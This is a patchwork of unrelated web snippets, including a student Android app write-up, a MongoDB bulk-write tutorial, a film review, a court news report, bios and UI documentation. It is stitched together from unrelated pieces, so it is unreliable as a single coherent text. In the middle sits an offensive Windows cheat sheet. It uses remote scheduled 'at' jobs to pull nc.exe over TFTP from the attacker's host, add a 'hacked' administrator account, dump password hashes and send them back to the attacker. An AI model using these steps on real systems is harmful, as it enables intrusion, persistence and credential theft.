Melodee
Introduction
This project case is about making a simple mobile app that provides music album transaction for users. The company that wants to create Melodee needs a design to rely on when creating the app. So the first step in this project is to make the mobile app prototype and I used Axure RP 9 to help me and my team create the prototype. The app contains 5 main pages such as login page, home page, album page, album detail page, and about us. Since it's a simple app and only have about 5 pages (1 login page and 4 main page), it would be good to make use of bottom navigation bar to navigate all pages. 1 button for home page, 1 for albums page, 1 for about us page, and 1 for log out. The color theme that my team pick was dark theme so it won't hurt the user's eye much.
Prototyping
In the protoyping phase, we didn't face much problem with designing the pages and the app flow since I can say that myself is pretty skillful in using Axure RP 9. Making validations, image carousel, data repeater, tabs and such was not a big deal to us. But we did faced a technical problem when using Axure Cloud to collaborate. There's somekind of a bug that makes all of us can't edit the prototype because an account of my teammate was stuck while opening all pages. She tried reopening the Axure but nothing works. As a result, I have to migrate the project into a new project file so we can continue the making of the prototype.
Implementation
The implementation part was the hardest part, which is making the real application based on the prototype we have made using Android Studio in Java Language. The language itself is not considered as the problem. The real problem is it's not that easy to make features that we have created on the prototype. Making image carousel, data repeater, and even tabs was pretty much a challenge for us because it was our first time creating an android application. And since we were using constraint layout as the layout of the app, we encountered a different appearance of the app layout when we use different devices. We don't know how to fix it so we let it pass for the project.


THE DUKE OF RESTORMEL
A VERY singular custom formerly prevailed at Lostwithiel, in Cornwall, on Easter Sunday. The freeholders of the town and manor having assembled together, either in person or by their deputies, one among them, each in his turn, gaily attired and gallantly mounted, with a sceptre in his hand, a crown on his head, and a sword borne before him, and respectfully attended by all the rest on horseback, rode through the principal street in solemn state to the church. At the churchyard stile, the curate, or other minister, approached to meet him in reverential pomp, and then conducted him to church to hear divine service. On leaving the church, he repaired, with the same pomp and retinue, to a house previously prepared for his reception. Here a feast, suited to the dignity he had assumed, awaited him and his suite; and, being, placed at the head of the table, he was served, kneeling, with all the rites and ceremonies that a real prince might expect. This ceremony ended with the dinner; the prince being voluntarily disrobed, and descending from his momentary exaltation, to mix with common mortals. On the origin of this custom but one opinion can be reasonably entertained, though it may be difficult to trace the precise period of its commencement. It seems to have originated in the actual appearance of the prince, who resided at Restormel Castle in former ages; but, on the removal of royalty, this mimic grandeur stepped forth as its' shadowy representative, and continued for many generations as a memorial to posterity of the princely magnificence with which Lostwithiel had formerly been honoured. [a]
This custom is now almost forgotten, and Lostwithiel has little to disturb its quiet.
[a] "Every.Day Book."


** your name here **
** Job Description / info here **
work: ** add email here **
personal: ** add email here **
mobile: (US) ** add phone number here - no country code needed ** | (IN) ** add phone number here - no country code needed **


The New Bulk API
One of the core new features in MongoDB 2.6 is the new bulk write operations. All the drivers include a new bulk api that allows applications to leverage these new operations using a fluid style API. Let’s explore the API and how it’s implemented in the Node.js driver.
The API
The API have two core concepts. The ordered and the unordered bulk operation. The main difference is in the way the operations in a bulk are executed. In the case of an ordered bulk operation every operation will be executed in the order they are added to the bulk operation. In the case of an unordered bulk operation however there is no guarantee what order the operations are executed. Later we will look at how they both are implemented.
Operations
You can initialize an ordered or unordered bulk operation in the following way.
var ordered = db.collection('documents').initializeOrderedBulkOp();
var unordered = db.collection('documents').initializeUnorderedBulkOp();
Once you have a bulk operation you can start adding operations to the bulk. The following operations are valid.
updateOne (update first matching document)
ordered.find({ a : 1 }).updateOne({$inc : {x : 1}});
update (update all matching documents)
ordered.find({ a : 1 }).update({$inc : {x : 2}});
replaceOne (replace entire document)
ordered.find({ a : 1 }).replaceOne({ x : 2});
updateOne or upsert (update first existing document or upsert)
ordered.find({ a : 2 }).upsert().updateOne({ $inc : { x : 1}});
update or upsert (update all or upsert)
ordered.find({ a : 2 }).upsert().update({ $inc : { x : 2}});
replace or upsert (replace first document or upsert)
ordered.find({ a : 2 }).upsert().replaceOne({ x : 3 });
removeOne (remove the first document matching)
ordered.find({ a : 2 }).removeOne();
remove (remove all documents matching)
ordered.find({ a : 1 }).remove();
insert
ordered.insert({ a : 5});
So what happens under the covers when you do start adding operations to a bulk operation. Let’s take a look at the new write operations.
The New Write Operations
MongoDB 2.6 introduces a completely new set of write operations. Before 2.6 all write operations where done using wire protocol messages at the socket level. From 2.6 this changes to using commands. So what does these commands look like.
Insert Write Command
The insert write commands allow an application insert batches of documents. Let’s take a look at the command and it’s options.
{
insert: 'collection name'
, documents: [{ a : 1}, ...]
, writeConcern: {
w: 1, j: true, wtimeout: 1000
}
, ordered: true/false
}
A couple of things to note. The documents field contains an array of all the documents that are to be inserted. The writeConcern field specifies what would have previously been a getLastError command that would follow the pre 2.6 write operations. In other words there is always a response from a write operation in 2.6. This means that w:0 has different semantics than what one is used to in pre 2.6. In the context w:0 basically means only return an ack without any information about the success or failure of insert operations.
Now let’s quickly look at the update and remove write commands before we take a look at the results that are returned when executing these operations against 2.6.
Update Write Command
There are some slight differences in the update write command in comparison to the insert write command. Let’s take a look.
{
update: 'collection name'
, updates: [{
q: { a : 1 }
, u: { $inc : { x : 1}}
, multi: true/false
, upsert: true/false
}, ...]
, writeConcern: {
w: 1, j: true, wtimeout: 1000
}
, ordered: true/false
}
We notice that the main difference here is that the updates array is an array of update operations where each entry in the array contains the q field that specifies the selector for the update. The u contains the update operation. multi specifies if we will updateOne or updateAll documents that matches the selection. Finally upsert tells the server if it will perform an upsert if the document is not found. Finally let’s look at the remove write command.
Remove Write Command
The remove write command is very similar to the update write command. Let’s take a look at it.
{
delete: 'collection name'
, deletes: [{
q: { a : 1 }
, limit: 0/1
}, ...]
, writeConcern: {
w: 1, j: true, wtimeout: 1000
}
, ordered: true/false
}
Just an for updates we can see that the entries in the deletes array contain documents with specific fields. The q field is the selector that will match which documents will be removed. The limit field sets the number of elements to be remove. Currently limit only supports two values, 0 and 1. The value 0 for limit removes all documents that match the selector. A value of 1 for limit removes the first matching document only.
So how does the response look when executing the commands against the server.
Write Command Results
One of the best new aspects of the new write commands is that they can return information about each individual operation error in the batch. To avoid not having to transmit more information than necessary only information about errors are returned as well as the aggregated counts of successful operations. Let’s look at what a comprehensive* result could look like.
{
"ok" : 1,
"n" : 0,
"nModified": 1, (Applies only to update)
"nRemoved": 1, (Applies only to removes)
"writeErrors" : [
{
"index" : 0,
"code" : 11000,
"errmsg" : "insertDocument :: caused by :: 11000 E11000 duplicate key error index: t1.t.$a_1 dup key: { : 1.0 }"
}
],
writeConcernError: {
code : 22,
errInfo: { wtimeout : true },
errmsg: "Could not replicate operation within requested timeout"
}
}
The two most interesting fields here are writeErrors and writeConcernError. If we take a look at writeErrors we can see how it’s an array of objects that include an index field as well as a code and errmsg. The field references the position of the failing document in the original documents, updates or deletes array allowing the application to identify the original batch document that failed.
The Effect of Ordered (true/false)
The effect of setting ordered to true or false have a direct implication on how a write command is processed. Most importantly if ordered is set to true the write operation will fail on the first write error (meaning the first error that fails to apply the operation to memory). If one sets ordered to false however the operation will continue until all operations have been executed (potentially in parallel) and finally return all the results. writeConcernError on the other hand does not stop the processing of a bulk operation as the document did not fail to be written to MongoDB, the writeConcern could not be applied.
It helps to think of writeErrors as hard errors and writeConcernError as a soft error.
The Special Case of w:0
The semantics for w:0 changed for the write commands over the old style pre 2.6 write operations that are a combination of a write wire message and a getLastError command afterwards. In the old style w:0 just meant that the driver would not send a getLastError command after the write operation. However all write commands respond and thus the old semantics for w:0 are not possible to retain. The compromise is to make w:0 mean I don’t care about the results of the command just send me an Ack.
So if you execute.
{
insert: 'collection name'
, documents: [{ a : 1}, ...]
, writeConcern: {
w: 0
}
, ordered: true/false
}
All you receive from the server is the result
{ok : 1}
The Implication For The Bulk API
There are some implications to the fact that write commands are not mixed operations but either insert/update or removes. The Bulk API lets you mix operations and then merges the results back into a single result that simulates a mixed operations command in MongoDB. What does that mean in practice. Well let’s look at how node.js implements ordered and unordered bulk operations. Let’s use examples to show what happens.
Ordered Operations
Let’s take the following set off operations performed on a bulk
var ordered = db.collection('documents').initializeOrderedBulkOp();
ordered.insert({ a : 1 });
ordered.find({ a : 1 }).update({ $inc: { x : 1 }});
ordered.insert({ a: 2 });
ordered.find({ a : 2 }).remove();
ordered.insert({ a: 3 });
When running in ordered mode the bulk API guarantees the ordering of the operations and thus will execute this as 5 operations one after the other.
insert bulk operation
update bulk operation
insert bulk operation
remove bulk operation
insert bulk operation
We have now reduced the bulk API to performing single operations and your throughput suffers accordingly.
If we re-order our bulk operations in the following way.
var ordered = db.collection('documents').initializeOrderedBulkOp();
ordered.insert({ a : 1 });
ordered.insert({ a: 2 });
ordered.insert({ a: 3 });
ordered.find({ a : 1 }).update({ $inc: { x : 1 }});
ordered.find({ a : 2 }).remove();
The execution is reduced to the following operations one after the other.
insert bulk operation
update bulk operation
remove bulk operation
Thus for ordered bulk operations the ordered of operations will impact the number of write commands that need to be executed and thus the throughput possible.
Unordered Operations
Unordered operations have not guarantee about the execution order of operations. Let’s take the operations example from above.
var ordered = db.collection('documents').initializeOrderedBulkOp();
ordered.insert({ a : 1 });
ordered.find({ a : 1 }).update({ $inc: { x : 1 }});
ordered.insert({ a: 2 });
ordered.find({ a : 2 }).remove();
ordered.insert({ a: 3 });
The Node.js driver will collect the operations into separate type specific operations. So we get.
insert bulk operation
update bulk operation
remove bulk operation
In difference to the ordered operation these bulks all get executed in parallel in Node.js and the results then merged when they have all finished.
Takeaway
Due to MongoDb not currently implementing a mixed write operations command it’s important to keep this in mind when performing ordered bulk operations to avoid the scenario above and take a hit on the write throughput. In the case of unordered operations the missing mixed operations command does not impact the throughput.
One thing to note. Although the Bulk API actually supports downconversion to 2.4 the performance impact is considerable as all operations are reduced to single write operations with a getLastError. It’s recommended to leverage this API primarily with 2.6 or higher.


About Me
The world of computer fascinates me. How a bunch of ones and zeros bundled with an enormous amount of creativity, drives the technology at this point of time in the world, is quite astonishing. From early on, my vision became clear to be a part of this community and contribute in all the ways I can.
Over the years, I have mastered a variety of software development skills and worked on numerous projects. You can see the complete list of my skills and projects on LinkedIn. Also, many of my projects have been open sourced and you can find them on GitHub.
It is my honor to have published in reputed IEEE Explore Conference, my research on “Automatic Question Generation for Intelligent Tutoring Systems”
You can find it here : http://ieeexplore.ieee.org/document/8066538/ Note : To view the attachment below, you must be logged in to your gmail account.
I periodically update my blog with whatever I learn, and I hope you find that helpful too.
My System Specs
- IBM (Lenovo) ThinkPad E470
- Processor : i5 7th Generation
- Ram : 8GB DDR4
- OS : Ubuntu 16.04 LTS
Tools I use
- Sublime text editor
- Firefox and Chrome (Chrome Developer Tools)
- Terminal (My primary tool for anything and everything :p)


I write full-stack software for the web.
I’m an undergrad at the University of Waterloo
My other interests include: the life sciences, discrete mathematics, poetry, and constructing human speakable languages.


Welcome to the Epicodus Galactic Age Calculator!
Go ahead and enter your age to calculate various ages
Below are the expected outputs:
In seconds
In Mercury Years
In Venus Years
In Mars Years
In Jupiter Years
How many years you have left on Earth (dun dun dunnnnnnnnnnnnnn)
Submit your age please!
Seconds
Mercury
Venus
Mars
Jupiter
Death Day
Age in Seconds
Age in Mercury Years
Age in Venus Years
Age in Mars Years
Age in Jupiter Years
How many years you have left on Earth


THE SIEGE A film review by Steve Rhodes Copyright 1998 Steve Rhodes RATING (0 TO ****): ***
Life has been like a horror movie lately for FBI agent Anthony 'Hub' Hubbard (Denzel Washington) in THE SIEGE. Just when he thinks he's killed the last terrorist monster, another one rises up to smite the city.
"New York City brought to its knees" the television news wails as retail sales plummet 72%.
"This is New York City," Hub blusters with inner doubts showing all over his troubled brow. "We can take it."
Maybe not.
As most of his schemes prove sadly ineffectual, Hub goes from cockily confident to completely overwhelmed to intensely angry as the carnage mounts in the worst series of terrorist attacks in our nation's history.
THE SIEGE, a riveting tale of terror, is by director Edward Zwick, who worked with Denzel Washington previously on the mesmerizing COURAGE UNDER FIRE and GLORY. Beautifully edited for maximum tension by Steven Rosenblum, the movie keeps you on the edge of your seat. Zwick knows how to time and stage scenes to keep the audience on constant alert. Even when they know something will happen, as in the bus bombing, Zwick manages to time it in a quite surprising way.
The complex thriller involves warring federal agencies, all trying to control the chaos caused by multiple terrorist cells at work in New York City. Hub leads the FBI team, but he comes up against Elise Kraft (Annette Bening), a tough veteran of the CIA's covert activities against Saddam Hussein. The negative chemistry between the two of them and later between them and a self-righteous General William Devereaux (Bruce Willis) form one of the most interesting of the story's subplots. Hub is never happier than when he and his guys get to draw their guns on the CIA, operating illegally in this country, and on the megalomaniac general.
Hub tries hard to uphold the laws while Elise, trained in covert activities, wants to do absolutely anything to stop the terrorists. He complains that she doesn't know the difference between right and wrong. "It is easy to tell the difference between right and wrong," Elise tells Hub. "What is difficult is finding the wrong that's more right."
Denzel Washington delivers another of the richly intelligent performances that he can do so well. Bruce Willis plays Bruce Willis. But it is Annette Bening, who steals the picture with her best dramatic performance ever.
"These guys are the real deal," Elise warns Hub about the terrorists early in the picture. It is not until much later that he fully comprehends what she meant. Bening's precise and delicately emotive portrayal of a woman who reveals as little as possible about herself makes for a fascinating enigma.
As a frantic Hub tries to talk to the bomb-laden terrorists holding up a city bus full of passengers, the prescient Elise sizes up the terrorist's real motivation. "They're not here to negotiate," she warns Hub. "They're waiting for the cameras."
BIG NIGHT's Tony Shalhoub is excellent as Frank Haddad, an Arab-American FBI agent, who is Hub's right-hand man. The story's respect for Frank and his family somewhat counterbalances the story's controversial subject matter, the treatment of the Arab-American population.
As the slaughter of innocent Americans mounts, the pressure builds to turn to the military as the savior of last resort, but General Devereaux argues strongly against this tactic. When the country reaches its limit, the president invokes the War Powers Act.
General Devereaux soon has tanks rolling across the Brooklyn Bridge, and he orders his men to go house to house rounding up Arab suspects and putting them into concentration camps. "This is the land of opportunity gentlemen," the general confidently tells the terrorists via television. "The opportunity to turn yourselves in."
It is in this section that the movie is most in danger of losing its audience. The film touches on issues of discrimination that will likely prove uncomfortable for many viewers. Discrimination is like that, it is something easier to ignore than ponder.
The movie makes judicious use of comedy to break the tension as in Frank's microwave envy. It seems that spooks have some really nifty microwave equipment that allows them to eavesdrop on conversations and more, but the FBI has never been able to get its hands on the technology. The film's running joke has Frank constantly coveting it. The movie is even able to get a laugh out of Hub's humor-challenged management style.
Any movie about terrorist bombings that contains relatively few explosions, as THE SIEGE does, deserves a special award for its lack of pyrotechnic overkill. Most directors of action films, even dramatic thrillers, seem to have their pay based on an incentive scheme directly linked to the noise level and number of explosions. Zwick creates his tension the old-fashion way -- with actors actually acting. This can best be seen in the film's carefully choreographed conclusion. It is masterful more for what it doesn't contain than what it does.
THE SIEGE runs 2:00. It is rated R for violence, language, and brief nudity and would be fine for most teenagers.
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--- layout: page title: "About" description: "This is who we are" header-img: "img/about-bg-new.jpg" ---
Welcome all from the Viking Community! Some of you have heard of Amplified and some have not.
Amplified has partnered up with administration to give students the most impactful voice that has ever been seen in a learning environment. With the admin team open for discussions and the help of teachers, we can develop solutions that work for everyone.  This is Amplified.
Many are concerned about anonymous comments and punishment for expressing their opinions on this site. We are proud to announce that Amplified is entirely run by students, and no one can be punished for expressing their true and respectful opinions. After all, we are your voice!
Amplified makes it simple for your voice to be heard. Once you read the blog, express your opinions and solutions in the comment section which is located at the end of each blog. We will take care of the rest and meet with admin to discuss solutions that you suggested in order to better learning environments for everyone.


plot-api
/
jetbrains.letsPlot
/
Figure
Figure
interface
Figure
Functions
show
abstract
fun
show
(
)
:
Unit
Inheritors
GGBunch
class
GGBunch
:
Figure
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class
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Figure


 It gives them the understanding that they can create and train the skills they want to. If people understand that they can change the entire way that their brain functions, and how, then they are more likely to apply the principles of neuroplasticity to their lives. They are going to engage in activities that they may find harder or more taxing with the concept that the more they do it the easier it will become.
If one regularly does a crossword for example one will get better at crosswords, even if those few you google the answers you’ll remember it and slowly gain a better understanding of crosswords. Over time less and less googling will occur. I do this with puzzles as well and often have memory games on my games list to try and improve in areas I feel lacking in.
There are so many ways to increase your neuroplasticity. It’s very much about finding what works best for you and when, perhaps something you are doing now isn’t clicking and you just need to stretch your brain in a different way! Go read some fiction, learn or practice an instrument, or for a more tricky activity non dominant hand exercises but most importantly SLEEP!!!
Growth mindset is the idea that one is capable of changing and growing. One with a growth mindset is more focussed on learning and sees failure as an opportunity to learn. They aren’t confined to the idea of wanting to make sure they succeed in order to seem smart, which allows for them to repeat tasks with the knowledge that they will improve. It’s a mindset best suited for learning almost any task, and developing a skill.
A lot of study results, many of the medical ones are relatively new when focussing on learning, especially regarding adults. But the statistics are really overwhelming around the positive nature, and that the fixed mindset is more likely to cause people to lie about their results.
How will you integrate growth mindset into your learning journey?
I already have! I’ve set myself time goals and reminded myself to do a little bit every day. While not always achieving this I can definitely see the days when I haven’t been coding. If I am struggling with something then I give myself some time to ponder, if I get frustrated then I take a short break and come back to it. After that, if all my googling has been fruitless, I ask for help! I constantly remind myself that while it’s over my head today if I look back to the first week some of that was over my head too and now I can do it, most of the time, pretty well. And in the future it’ll be easier.


net use \\target\ipc$ password /user:username
at \\target 12:00pm command
Example: at \\<IP_ADDRESS> 12:00pm tftp -I myip GET nc.exe
At is as good as having a shell:
Enable / Start Services
Transfer files
Adding users
Messing with the registry / policies
Pretty much anything you can do with a shell
Added bonus, defaults to run as SYSTEM
Building a tool around AT
FLOW
Establish authenticated session
Determine time on target
Pass commands to the target to be run 1 min from now
Write a batch file that executes everything at once
Have the target send you back whatever info you want
Be mindful of file transfer protocols, TFTP is good but not always "quiet" or available
Example
net use \\target
net time \\target
at \\target (net time +1 min) "tftp -i use GET e.bat"
at \\target (net time +2 min) e.bat
e.bat does:
adds a user (net user hacked hacked /add)
Admin group (net localgroup adminsitrators hacked /add)
gets hashdumping tools and dumps hashes
sends hashes, identified by IP back to attacker host
Privileges of LocalSystem that we cate about
NT AUTHORITY\SYSTEM and
BUILTIN\Administrators SIDs
SE_IMPERSONATE_NAME
SE_TCB_NAME
SE_DEBUG_NAME


{% extends "base.html" %} {% block header %}
I work on software products because I'm excited about what they are going to achieve. This means I don't see the development process as an end unto itself. It is a process with a distinct goal: to produce a product on time and on budget that consumers love and achieves the businesses aims.
I have a strong sense of where a product I'm working on is heading and the healthiness of its code base. This enables me to recommend courses of action that solve problems at the most cost effective point, before they've happened.
Compromises frequently have to be made to achieve business goals on time and within budget. As such I will take the approach that works well enough over the one that is 100% theoretically sound but can't be delivered on time. This is often a delicate balancing act in practice though, especially in software projects.
In my direct experience any short cuts taken to hit a tactical goal, say a demo to an investor, usually cost more to fix than going straight to a production quality solution. A good rule of thumb is a 2:1 ratio, i.e. the short cut will cost twice as much as going straight to the production quality solution. This is assuming that the retrofit happens straight away, the more work that is done on top of a short cut the more the cost increases. This is the nasty reality of technical debt.
So sometimes pragmatism is saying no to a short cut because the cost further down the line is going to be too high. Being able to tell the difference between an affordable short cut and one which is likely to start rotting a project from the inside out is something that I have only gained after years of experience in the industry.
I get on well with others and am always willing to help someone out, current work commitments permitting. This means I am comfortable approaching and collaborating with others. In the software world this usually takes the form of presentations, group discussions, code reviews, pairing, recruiting, mentoring and asking the occasional stupid question.
I have held senior positions for a number of years now and particularly in my last role provided technical leadership within my team. This took a number of forms including conducting research into new technology and approaches, providing support to less experienced members of the team, taking part in the recruitment of new staff and when there wasn't a strong group consensus making a call and shouldering the responsibility for its success or failure.
Colleagues have commented on my clarity, direction and pragmatic compromise to situations where there was not necessarily a clear cut answer to a problem.
I am a quick study when it comes to getting up to speed with new projects and technologies. Part of the reason for this is my experience - the more projects and technologies you work on/with the better you get at extrapolating into new situations. I also have a keen sense of when I don't fully understand something and no qualms with asking questions and/or researching until I do.
{% endblock %} {% block js %} {% endblock %}


Network Contract Wizard (NCW)
The Network Contract Wizard is the new way for you to implement networking for your game/app.
To do so you will need to go to Window->Forge Networking->Network Contract Wizard as shown in the example below.
After opening the window you will be presented with this.
- 1)Toggle lighting on/off for the editor window only. This will make it easier for your eyes depending on what lighting situation you have.
- 2)Create, this will make networked objects for you to use for your game/app. (You will spend most of your time hitting this beautifully designed button).
- 3)Deletion, this will properly delete the networked objects that you have made.
Note: You are able to tap any of the NetworkObjects to modify them as well.
Creation Menu
- 1)Name field for you to name your networked object (Do not use the same name as ones already made)
- 2)Add fields (This is where you would add variables to sync across the network)
- 3)Add RPC (This is where you would create callbacks for other clients to messages/data being sent)
Adding a Field
- 1)The name of the variable
- 2)The type of variable this will be
- 3)There are many different types to select from (This is just an example of selecting int for this variable) Note: The trash bin next to this variable will delete it.
Adding an RPC
- 1)Name of the RPC
- 2)Arguments for this RPC that will be sent across the network.
- 3)Value type that can be passed across the network.
- 4)Deletion of this RPC
- 5)Deletion of this Value Type
- 6)Add more Value Types for the arguments
Main Menu Deletion
- 1)This will trash this Networked Object correctly.
- 2)You will be prompted with this window when doing so.
Project Directory
You will notice that all generated code will be located in your project directory under Generated.
Note: This will be changeable from the editor in the future.
Note: if you are getting RPCs lagging, then being called all at once, make sure "autoconnect profiler" is turned off in your build settings.


{% load account %}{% user_display user as user_display %}{% load i18n %} {% blocktrans %}
Hello from PINCOIN!
You're receiving this e-mail because user {{ user_display }} has given yours as an e-mail address to connect their account.
To confirm this is correct, go to {{ activate_url }}
{% endblocktrans %} {% include 'shop/default/email/_footer.html' with store_code='default' %}


interface BackButtonHandler
Handle android's back button.
handleBackButton |
abstract fun handleBackButton(): Unit |
EndScreen |
Displays the GameResult as well as other statistics to the user. class EndScreen : Screen, BackButtonHandler |
GameScreen |
Game screen class GameScreen : Screen, BackButtonHandler |
MainMenuScreen |
Screen for the main menu. class MainMenuScreen : Screen, BackButtonHandler |
MenuController |
Controller for the stage of the MainMenuScreen. object MenuController : BackButtonHandler |
StrategoGame |
LibGDX entry point. Class that handles the currently displayed screen. object StrategoGame : Game, BackButtonHandler |


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[type]="'QUOTE'"
[items]="(quotes | async).items"
[userCanAdministerQuotes]="userCan.administerQuotes()"
(editQuote)="onEditQuote($event)"
(rejectQuote)="onRejectQuote($event)"
(setAsFocusedQuote)="onSetAsFocusedQuote($event)">
0"
[pagination]="(quotes | async).pagination"
flex layout-align="end stretch"
(getPage)="changePage($event)">


Topless pervert cornered by paedophile hunters over photos sent to 'girl, 13'
Unemployed Derek Leonard was quizzed as he stood half-naked against a brick wall, in Cheadle, Staffordshire, and admitted what he had done was "sick"
by Kelly-Ann Mills, Hayley Parker, https://www.facebook.com/dailymirror/A half-naked man tracked down by paedophile hunters for sending depraved photos in his underwear to a '13-year-old girl' has walked free from court.
Safeguarding Kids Online filmed as they stopped Derek Leonard standing against a brick wall in Cheadle, Staffordshire, and quizzed him about his actions.
Despite protesting his innocence at the time, unemployed Leonard - who has distinctive tattoos on his chest and arm - eventually says: "I've done wrong, I'm sorry".
The 27 year old also blamed his crimes on drink and drugs and says what he'd done was "sick".
However, he continues to deny he's sexually attracted to children, Birmingham Live reports.
Leonard told the confronters: "It must have been when I was on the drugs and that. I can't remember anything really. I must have missed that she was 13. I ain't attracted to children."
During the video, the paedophile hunting group repeatedly told him the evidence will be used against him and police will use a Section 18 to search his home.
They also suggested he seeks help for his issues.
At Stoke-on-Trent Crown Court yesterday, Leonard went on to plead guilty to a charge of attempting to sexually communicate with a child.
The court heard Leonard had been chatting on Facebook messenger with a girl he believed to be aged 13, but in fact was an adult posing as a child.

Leonard has since been hounded out of Cheadle after the video was live-streamed on Facebook.
He was handed a community order for 18 months, with a requirement for 30 hours of rehabilitation activity and an alcohol treatment requirement.
He was also hit with a sexual harm prevention order and ordered to keep police informed of his whereabouts.


Tooltip directive provides advisory information for a component.
Tooltip is applied to an element with pTooltip directive where the value of the directive defines the text to display.
There are four choices to position the tooltip, default value is "right" and alternatives are "top", "bottom", "left". Position is specified using tooltipPosition attribute.
Tooltip gets displayed on hover event of its target by default, other option is the focus event to display and blur to hide.
Tooltip is displayed or hidden instantly by default however you may add delays using showDelay and hideDelay properties which accept a number value in terms of milliseconds.
When placed inside a scrolling container like an overflown div, tooltip must be appended to another element that has relative positioning instead of document body which is the default.
| Name | Type | Default | Description |
|---|---|---|---|
| pTooltip | string | null | Text of the tooltip. |
| tooltipPosition | string | right | Position of the tooltip, valid values are right, left, top and bottom. |
| tooltipEvent | string | hover | Event to show the tooltip, valid values are hover and focus. |
| positionStyle | string | absolute | Type of CSS position. |
| tooltipDisabled | boolean | false | When present, it specifies that the component should be disabled. |
| appendTo | string | any | Target element to attach the overlay, valid values are "body", "target" or a local ng-template variable of another element (note: use binding with brackets for template variables, e.g. [appendTo]="mydiv" for a div element having #mydiv as variable name). |
| hideDelay | number | null | Delay to hide the tooltip in milliseconds. |
| showDelay | number | null | Delay to show the tooltip in milliseconds. |
| life | number | null | Time to wait in milliseconds to hide the tooltip even it is active. |
| tooltipStyleClass | string | null | Style class of the tooltip. |
| escape | boolean | true | By default the tooltip contents are rendered as text. Set to false to support html tags in the content. |
| tooltipZIndex | string | auto | Whether the z-index should be managed automatically to always go on top or have a fixed value. |
Following is the list of structural style classes, for theming classes visit theming page.
| Name | Element |
|---|---|
| p-tooltip | Container element. |
| p-tooltip-arrow | Arrow of the tooltip. |
| p-tooltip-text | Text of the tooltip. |
None.


| This is a built-in template used for filling the
catch parameter when it is generated, e.g. when using the
Code | Surround with... function. The template is editable, e.g. you can make the generated parameter final and always use predefined name despite of qualified name of the caught exception. |
| Predefined variables will take the following values: | ||
| name of the Exception variable specified as a catch parameter derived from caught exception type, e, if qualified name ends with Exception | ||
| type of the catch parameter |


This documentation covers the ToplistX software functions, and tries to be as thorough as possible. If there is something you cannot find in this manual, please check the knowledge base first. If you still cannot find an answer to your question, please use the support forum for assistance. If you do find any errors or inconsistencies in the documentation, please let me know so it can be corrected.
If you have just had ToplistX installed for the first time, please see the First Steps section of this manual first. It will help get you started using ToplistX and will guide you through the first things you need to do.
Table of Contents
- Installation
- Moving Your ToplistX Installation
- Patching Your ToplistX Installation
- Converting AutoRank Pro data
- Converting AutoRank PHP data
- First Steps After Installation
- Setting up an Access List
- Software Settings
- Statistical Tracking Overview
- Template System Overview
- Ranking Page Templates
- Template Wizard
- Script Page Templates
- E-mail Templates
- Common Template Values
- Rejection E-mails
- Language File
- Accounts
- Configuring Banners and Links for Your Members
- Account Scanner
- Viewing Configurations
- Adding a Configuration
- Editing a Configuration
- Deleting a Configuration
- Starting/Stopping the Scanner
- Scanner Results
- Scanner History
- User Defined Database Fields
- Categories
- General Searching Information
- Ranking Pages
- Administrator Accounts
- The Blacklist
- Date and Time Formats
- Account Icons
- Ranking Images
- Verification Codes
- End User Account Search
- Database Tools
- Using Cron to Automate Functions
- Utility Scripts
- "Powered By ToplistX" Link Removal


Let's deliver the right solution for your business!
Let's deliver the right solution for your business!
Let's deliver the right solution for your business!
Let's deliver the right solution for your business!
Let's deliver the right solution for your business!
Let's deliver the right solution for your business!
Let's deliver the right solution for your business!
Let's deliver the right solution for your business!


The Camden Plan is a microsite designed to inform Camden residents about it plans for future growth within the borough. The site had to be content editable and delivered within 3 days on a SharePoint 2010 platform.
Visual compositions were supplied by a third-party design agency. I provided guidance on what was achieveable on the SharePoint platform within the timeframe.
I then created a custom aspx page layout with Rich HTML user controls. All design elements referenced a seperate stylesheet specific to this microsite for modularity. Tables were created using out-of-the-box content editors with custom styles created using the SharePoint method.
Main deliverables included:


LIMATIX xmldoc is a library built on lxml for processing XML data in science and engineering applications.
LIMATIX Xmldoc is part of the Limatix package. Follow the instructions in INSTALL.txt in the main LIMATIX distribution. The only prerequisites required to use LIMATIX Xmldoc are Python, Lxml, and Numpy.
This example illustrates creating an XML document in memory, adding an element, setting the textual content of that element, and then writing the document to disk.
# import the xmldoc class from limatix.xmldoc import xmldoc # import the hrefvalue class. This is used to manage hypertext references # (hypertext references are used for all file locations) from limatix.dc_value import hrefvalue # Create a new document just containing maintag, # and with an empty namespace mapping fh = xmldoc.newdoc("maintag",nsmap={}) # Get the root element of the document (i.e. maintag) rootel=fh.getroot() # Set an attribute of the root element fh.setattr(rootel,"myattr","myattrval") # Add a new element myelement=fh.addelement(rootel,"myelement") fh.settext(myelement,"my element text!") # Now we write it to disk outfile_url = "outfile.xml" # Note that outfile_url is a URL, not a filesystem path. # If you wanted to specify a filesystem path, you would need # to convert it to a URL with urllib.pathname2url() (Python 2.x) # or urllib.request.pathname2url() (Python 3.x) # Setting the location writes it to disk fh.set_href(hrefvalue(outfile_url,".")) # The "." here is the context URL... in this case the current directory # If we were to make additional modifications from here on, we # would need to call fh.flush() to flush those changes to disk
This example illustrates the use of namespaces and writing numeric values with units.
# import the xmldoc class from limatix.xmldoc import xmldoc # import the hrefvalue class. This is used to manage hypertext references # (hypertext references are used for all file locations) from limatix.dc_value import hrefvalue # import the numericunitsvalue class from limatix.dc_value import numericunitsvalue # Define a namespace mapping for the new document. # We need at minimum to define a prefix for the dcvalue # namespace http://limatix.org/dcvalue # We also define a namespace http://example.com/ournamespace # and prefix for the tags we are creating nsmap={ "dcv": "http://limatix.org/dcvalue", "on": "http://example.com/ournamespace", } # Create a new document just containing on:maintag, # and with our specified namespace mapping fh = xmldoc.newdoc("on:maintag",nsmap=nsmap) # Get the root element of the document (i.e. on:maintag) rootel=fh.getroot() # Add a new element myelement=fh.addelement(rootel,"on:myelement") # Add a value element under on:myelement subelement=fh.addsimpleelement(myelement,"on:value",(23.0, "mm")) # Add another value element under on:myelement, this # time using the numericunitsvalue class myvalue2 = numericunitsvalue("32.0","mm") subelement2=fh.addelement(myelement,"on:value") # store myvalue2 into subelement2 myvalue2.xmlrepr(fh,subelement2) # Now we write it to disk outfile_url = "outfile.xml" # Note that outfile_url is a URL, not a filesystem path. # If you wanted to specify a filesystem path, you would need # to convert it to a URL with urllib.pathname2url() (Python 2.x) # or urllib.request.pathname2url() (Python 3.x) # Setting the location writes it to disk fh.set_href(hrefvalue(outfile_url,".")) # The "." here is the context URL... in this case the current directory # If we were to make additional modifications from here on, we # would need to call fh.flush() to flush those changes to disk
This example illustrates reading arrays of numeric values with units.
